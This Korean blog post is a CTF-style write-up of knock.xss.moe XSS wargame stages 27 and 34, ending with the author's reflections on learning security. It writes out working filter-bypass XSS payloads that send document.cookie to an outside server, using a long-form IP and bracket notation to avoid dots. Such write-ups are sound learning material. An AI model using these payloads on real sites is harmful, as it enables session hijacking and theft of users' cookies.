짠WEB투어 XSS - 5일차

By yeali | September 20, 2018

짠내투어 XSS 5일차


이전편 요약


마지막 문제까지 10문제도 안 남은 yeali, 오늘은 마무리를 할 수 있을것인가...?




우선, 스포일러를 좋아하는 사람 중의 하나로써!
걱정했던 올클 다 했고요! 근데 27~34번 다 비슷한 방식으로 풀려서
정답이 없다는 것을 보여드리고 싶은 편입니다!



ㅎㅎ다 풀었어여ㅎㅎ
이거 풀면서 풀면서 1일차에 본 솔버보다 지금 차근차근 늘어가고 있던데,
문제 같이 푸는 분들 맞죠??



XSS 여행 4일차 계획

  • 1. 동네 탐방(수천번의 노크 XSS)

    • Stage 27 - not .
    • Stage 34 - html 간접표현식
  • 2. 일기 훔쳐보기





1. 동네 탐방(수천번의 노크 XSS)

Stage 27 - not .

.만 필터링된다. 근데 생각해보면 .이 없으면 서버주소를 못 적고 document.cookie를 하는 것도 안됨.

그래서 .을 다른 방향으로 해야 되는 방향을 찾아야 됩니다.


Payload 0x00

.dot으로 바꿔서 진행할 수 있기 때문에, .자리에 'dot'을 넣고 서버는 eval함수 안에서 실행하도록 해도 됩니당.

q=<script>dot%20=%20String[%27fromCharCode%27](46);eval("location"%2bdot%2b"href='server addr?'%2bdocument"%2bdot%2b"cookie");</script>


Payload 0x01

이번 문제를 풀면서 알게 된게 있는데,
127.0.0.1와 같은 ip 형식을 long 형식으로 바꿔서 사용할 수가 있어요!

그러면 .이 필요없도록 변환이 가능하게 되더라고요!

ip to long site

document.cookiedocument['cookie']로도 가능하기 때문에 이런식으로 하면 기존과 비슷하게 xss를 성공할 수 있습니다!

q=%3Cscript%3Elocation[%27href%27]=%22http://757087622/?%22%2bdocument[%27cookie%27];%3C/script%3E


Payload 0x02

q=<svg/onload=with(location['hash']){url=slice(1);location=url%2Bdocument['cookie']}>#server addr




Stage 34 - html 간접표현식



<script&gt;alert(1)</script&gt;<input type=hidden>

기본적으로 xss 막을때 개발자들이 많이 사용하는 방식인 간접표현식입니다!
>을 간접표현식으로 표현해서 &gt;로 구성되어있네요!

간접표현식


Payload 0x00

27번이랑 다를건 없는데 이걸로 다 풀림!
>을 html entity로 사용해서 우회하는 방법.
지금까지 계속 사용해왔던 공격 벡터라서 쉽게 생각할 수 있었습니다!

q=%3Cscript%3Elocation[`href`]=`http://757087622/?`%2bdocument[`cookie`];%3C/script%3E


Payload 0x01 지금 hidden가 사용되고 있어서 어떻게 할까 고민하다가…
페이지가 열릴 때마다 스크립트를 실행시키도록 하고 싶었다!

그래서 새롭게 진입하든, 뒤로가기로 진입하든 항상 이벤트를 발생시키는
body pageshow event를 사용해서 스크립트를 실행시키기로 했다!

body pageshow event 예시 중 <body onload="myonload()" onpageshow="mypageshowcode()">를 스크립트에 넣을겁니다!

body pageshow event

그리고, <은 필터링이 안되니까 <input type=hidden>>를 사용하기 위해 뒤에 주석처리를 할 수 있습니다.

<body / onload=alert(1);//>

이렇게 보내게 되면

<body onload="alert(1); // <input"type = "hidden"> </body>

이렇게 reponse가 옵니다! 이렇게 성공시킬 수 있습니다!


뭔가 1번부터 열심히 달려왔는데 마지막에 이렇게 중복답안이 있으니 뭔가 허무하지 않나요…

그래서 지난번동안은 앞만 보고 달려왔다면, 이번에는 xss에는 답이 없다는 것을 보여드리고 싶었습니다.

xss가 아직도 살아있는 이유가 진짜 할 수 있는 방법은 여러가지고, 하나의 방법만 있는게 아니라 우회를 해야 되는 방법을 알고나면 정답은 여러가지인 재미있는 공격방식이기 때문입니다.




2. 일기 훔쳐보기

XSS 5일째 <날씨: 비옴 기분: 꿀꿀함>

<주의> 저 또한 뉴비들과 비슷한 수준이고, 이는 가르치려는 내용이 아니라 내가 느꼈던 것을 끄적어둔 것!



대학을 다니면서 이론으로만 공부하는게 얼마나 위험하고, 시간을 아껴쓰지 못한 공부법인지 알게 되었던 시간이었다.

이걸 해보지 못하고, 개발자 중에 xss를 못 막는 개발자는 일을 안하는 개발자라는 글을 본 적이 있다.
그리고 나는 그런가보다라는 생각을 했었다. 내 손으로 실습해보고 구현해본거 아니면 다른 사람 말을 믿고 그게 정답이라는 생각을 가지지 말자는 생각을 하게 되었다.

knock.xss.moe xss wargame 풀면서 cheatsheet에 있는 스크립트를 보고, js함수를 알아가며 xss가 왜 지금까지도 안 없어진지에 대해서 느낄 수 있었던 시간이었다.
사람이 만든 코딩인지라 진짜 어떻게든 허점이 있다.
그게 굳이 xss가 아니더라도..


docment.cookie로 FLAG를 가지고 오는 것을 몇 십번씩 반복하면서 FLAG내용이 아니라 실제 사이트의 쿠키라면 해킹의 좋은 발판을 마련해주게 됨을 생각하게 된다.

web 어플리케이션을 사용할 때, 쿠키를 이용하여 사용자는 기본 설정, 사용자의 이름, 서버시를 저장할 수 있습니다. 그래서 Micrisoft에서는 쿠키를 사용자의 신분증이라고 표현하고 있기 때문에 비유를 하자면 내가 다른 사람의 신분증을 훔쳐볼 수 있게 되는 좋은 기회이지 않은가!

보안을 하기 위해서라면 해킹을 하는 법에 대해서 알아야 확실히 대처할 수 있다는 생각하기 때문에 그런면에서 knock.xss.moe은 시스템 구현도 잘 해놨고, 어떻게 우회해야 될지 고민할 수 있는 좋은 입문자용 wargame 사이트라고 생각했다.

제가 풀어본 wargame사이트가 많지는 않습니다ㅠ

그리고 두번째 느낀 것은 많은 것을 봐야 시야가 넓어짐을 알게 되었습니다.

확실히 문제를 풀면서 보이는게 많아지고, knock.xss.moe 문제풀이를 보면 하나하나 깨달아가는데, 그 때문에 확실히 보이는게 많아지고 어떻게 풀어야겠구나를 느끼게 되는 것 같습니다. 이 wargame 하나 푸는데도 그러는데 다른 wargame, ctf 문제 풀이하면서는 얼마나 발전하게 될까 두근두근 되는 느낌을 받기도 합니다.

문제 안 풀려서 찡찡되고 있었는데 다른 분은 내가 며칠동안 잡고 있던 문제를 올클까지 30분도 안 걸렸다는...

그래서 아 나 진짜 바본가 생각했는데, 다른 사람이랑 비교하지말고 내가 성장하는거에 초점을 맞춰야지 언제까지 비교만 하다가 이세상 뜰거같다는 생각이 듦…허헣



wargame 사이트와 ctf를 많이 풀어볼거에요!

나 스포하는거임. 이론 별로 없을거고 문제만 잔뜩 풀고 이론 확인하는방식으로 진행할거에요!

그런 노가다와 경험을 많이 쌓기 위해서는 목표가 정말 중요함을 느끼게 되었습니다.

knock.xss.moe 올클이라는 목표가 없었으면 그냥 때려쳤을거야.

그리고 응원해주는 멘토이자 삼촌 없었으면 진짜 때려쳤을듯!

문제를 풀다가 왜 내가 이 문제를 풀고 있는가? 무슨 의미가 있지… 이걸 하는 것보다 코딩공부를 하는 게 조금 더 낫지 않을까?

별 생각을 다 했던거같아요!

그리고 인생사 살다보면 무슨일이 생기지 않습니까!

그러면 공부도 하기싫고 머리도 안 굴러가고 나는 바보인데 내 머리로는 못 푸는 것이 아닌가 한탄도 하고, 이것도 못 풀면 보안을 그만둬야 혼자 고민하고,



저는 인맥도 좁아서 보안하는 친구밖에 없는데! 그것도 못 푸냐고 그래서 아득바득 또 열심히 풀고!

막상 처음에 목표했던대로 클리어하니까 그래도 할 수 있나? 라는 생각도 들고!

역시 세상 단순~!ㅋㅋㅋㅋㅋ



XSS 다음에는 sql injection을 할 예정인데 이렇게 고민했던 내용은 이번에 처음이자 마지막으로 쓸 예정입니다.

이 글을 쓰고자 했던 이유가 뉴비들과 같이 하는 사람으로 성장하고 싶다. 라는 취지에서 출발한 글이니까 나같은 바보도 올클했는데 님들도 다 할 수 있어요!

내가 열심히 했으면 하고, 같이 포기하지 않았으면 해서 적어봤습니다!



오늘은 여기까지!

아직 XSS 안 끝났습니다!
다음은 대응방안에 대해서 재미나게 구성해보도록 오겠습니다! 슝슝


comments powered by Disqus